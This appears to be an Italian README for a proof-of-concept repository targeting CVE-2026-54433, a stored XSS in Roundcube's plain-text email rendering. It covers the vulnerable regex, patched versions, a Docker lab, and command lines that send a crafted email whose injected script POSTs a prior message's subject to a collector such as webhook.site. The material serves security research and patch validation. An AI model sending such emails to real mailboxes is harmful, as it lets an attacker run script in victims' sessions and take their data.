
PoC Python configurabile per CVE-2026-54433, uno XSS persistente nel renderer di email in testo semplice di Roundcube. Genera file .eml appositamente realizzati, li invia tramite SMTP e valida l'impatto in un lab Docker.

Questo repository contiene una prova di concetto Python configurabile per
CVE-2026-54433, una vulnerabilità di cross-site scripting memorizzato nel
renderer di email in testo semplice di Roundcube. Un mittente non autenticato
può consegnare un messaggio text/plain appositamente craftato. Quando un
utente Roundcube autenticato apre o anteprima il messaggio, JavaScript
controllato dall'attaccante viene eseguito nell'origine di Roundcube.
La PoC dimostra un impatto concreto su una sessione autenticata senza raccogliere cookie o corpi dei messaggi: legge l'oggetto di un messaggio precedente e invia quel valore, l'origine Roundcube e il nome dell'attività a un collector autorizzato come campi POST codificati in URL.
Avviso
Questo è codice di exploit attivo. Usalo solo in un laboratorio di tua proprietà o contro un sistema e una casella di posta che sei esplicitamente autorizzato a testare. La modalità di invio trasmette un'email craftata e può divulgare un oggetto preesistente al collector. Usa
--generate-onlyper l'ispezione offline.
Roundcube converte gli indirizzi trovati nei messaggi in testo semplice in link cliccabili. Nelle versioni affette, il suffisso di query opzionale veniva associato con :
mailto:\S+. '(\?\S+)?'
Poiché \S include < e >, una stringa che inizia come un indirizzo email
potrebbe far consumare alla sostituzione automatica dei link un tag HTML di
apertura, lasciando il resto da interpretare come markup. Questa forma minima
illustra il primitivo:
La correzione a monte restringe il suffisso di query in modo che non possa contenere parentesi angolari o spazi bianchi:
. '(\?[^<>\s]+)?'
Il fornitore descrive il problema come "zero-click" perché non è richiesto alcun clic su un link. Aprire o visualizzare in anteprima l'email mentre si è autenticati è comunque l'azione del client di posta che renderizza il payload.
| Riga di rilascio | Stato |
|---|---|
| Versioni di Roundcube precedenti alla 1.6.17 | Affette |
| Roundcube 1.6.17 e successive 1.6.x | Corrette |
| Roundcube 1.7.0 e 1.7.1 | Affette |
| Roundcube 1.7.2 e successive | Corrette |
I commit di correzione pubblici sono:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Esegui l'aggiornamento a Roundcube 1.6.17 / 1.7.2 o a una release supportata più recente.
text/plain.src relativo
che fallisce per invocare onerror. Un callback verso il collector richiede
comunque la raggiungibilità di rete del browser.HttpOnly. Questa PoC non
tenta di leggerlo. La sua richiesta same-origin utilizza automaticamente la
sessione autenticata e l'oggetto del messaggio separato è la prova
dell'impatto.Il risultato dimostrato è l'esecuzione di JavaScript autenticato e l'accesso in lettura all'oggetto di una email precedente. Il furto dell'account, il furto arbitrario del corpo dei messaggi e l'esecuzione di codice lato server non sono rivendicati da questo repository.
cve-2026-54433-poc.py è autonomo e usa solo la libreria standard di Python.
Esso:
text/plain ordinaria RFC 5322 craftata;CVE-2026-54433;subject, origin e task a /capture/<random-marker>;Il payload inserisce il commento DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Nasconde inoltre il frammento di indirizzo con link automatico e l'indicatore di immagine rotta, mostrando il corpo benigno fornito dal chiamante.
Genera l'email senza effettuare una connessione di rete:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Questo scrive:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonIspeziona il messaggio generato prima di usare la modalità di invio.
Il valore --collector può essere un UUID di Webhook.site, un URL di capture
o un URL #!/view/. Lo script deriva gli endpoint di cattura e polling.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Se SMTP_PASSWORD è assente, lo script chiede la password senza mostrarla o
memorizzarla. È possibile selezionare una variabile con nome diverso usando
--smtp-password-env NAME. Evita --smtp-password sui sistemi multiutente
perché gli argomenti della riga di comando possono essere visibili negli
elenchi dei processi o nella cronologia della shell.
Lo script chiede un YES esplicito prima di inviare. Nell'automazione di
laboratorio non interattiva e già autorizzata, passa --yes. Attende fino a
24 ore per un callback per impostazione predefinita; usa --timeout SECONDS
per modificare questo comportamento.
Per un collector diverso da Webhook.site, passa la base di cattura e l'endpoint di stato JSON opzionale:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
Il collector.py incluso implementa gli endpoint compatibili
/capture/<marker> e /status. Per impostazione predefinita si lega al
loopback. La distribuzione HTTPS reale e il controllo degli accessi sono
lasciati intenzionalmente al tester autorizzato.
Il laboratorio non ha porte host pubblicate e contiene solo messaggi sintetici. Usa la stessa PoC Python per generare il trigger, consegna entrambi i messaggi in una casella Dovecot monouso, effettua l'accesso tramite un browser headless monouso e registra se l'handler iniettato ha letto l'oggetto precedente.
Requisiti: Docker, Python 3, OpenSSL e jq.
Test vulnerabile:
./lab/run.sh
Controllo corretto:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
Per una dimostrazione video o dal vivo nel browser, esegui:
./lab/demo.sh
Pubblica Roundcube e il collector visivo solo su loopback. Apri le due URL stampate dallo script, mostra il collector inizialmente vuoto, accedi usando le credenziali sintetiche stampate, clicca sull'email trigger e torna al collector. L'oggetto sintetico catturato appare in una tabella ad aggiornamento automatico. Ctrl-C rimuove i container monouso e la rete.
Per registrare l'interazione con il browser e un callback reale di Webhook.site, usa lo strumento di registrazione riproducibile. Richiede Chrome, Xvfb, ffmpeg, Docker e un token Webhook.site autorizzato fornito tramite l'ambiente:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
L'MP4 risultante mostra la riga trigger visibile di Roundcube, un clic del mouse annotato e Webhook.site che visualizza l'oggetto sintetico ricevuto. Il token non viene mai memorizzato nell'albero dei sorgenti.
Artefatto registrato: assets/CVE-2026-54433-webhook-demo.mp4
La registrazione include un pannello terminale visibile che mostra l'invocazione Python di sola generazione, l'output della generazione del payload, il clic su Roundcube e la richiesta Webhook.site risultante.
La demo visiva accetta anche COLLECTOR_URL e COLLECTOR_VIEW_URL; punta
entrambe a un token Webhook.site autorizzato per mostrare il collector reale
che riceve l'oggetto sintetico. Non riutilizzare un token che contiene
richieste non correlate.
Il confronto end-to-end è stato eseguito il 2026-08-14 su Linux x86-64 con Docker:
| Controllo | Digest immagine | Handler iniettato | Oggetto precedente inviato | Risultato |
|---|---|---|---|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) presente | Sì, POST codificato in URL | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | Assente; markup escapato | Nessun callback | NOT_CONFIRMED |
Corpo del callback positivo (valore sintetico, origine sanificata):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
Il confronto strutturato e sanificato si trova in
docs/e2e-results.json.
La verifica offline compila i sorgenti Python, genera un nuovo .eml e ne
controlla il tipo MIME, il primitivo del payload, il corpo visibile, il
commento e i metadati:
./verify.sh
Imposta RUN_DOCKER=1 per aggiungere entrambi i controlli Docker end-to-end:
RUN_DOCKER=1 ./verify.sh
Il 2026-08-14, ricerche mirate per CVE-2026-54433 su GitHub,
Exploit-Database e Packet Storm non hanno individuato un exploit validato e
configurabile per l'invio di email con un confronto end-to-end
vulnerabile/corretto. Esistevano già voci del fornitore e dei database di
vulnerabilità, discussioni sui modelli degli scanner e write-up descrittivi.
Questa è un'istantanea datata della ricerca, non un'affermazione che non possa
esistere nessun'altra PoC.
Scoperta della vulnerabilità: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), come accreditato da Roundcube.
Ricerca, validazione dell'impatto e implementazione dell'exploit: A. Ramos
<[email protected]> (Twitter: @aramosf).
PoC per CVE-2026-54433, XSS memorizzato nelle email in testo semplice di Roundcube, con prova circoscritta dell'oggetto di una casella autenticata e un laboratorio Docker vulnerabile/corretto.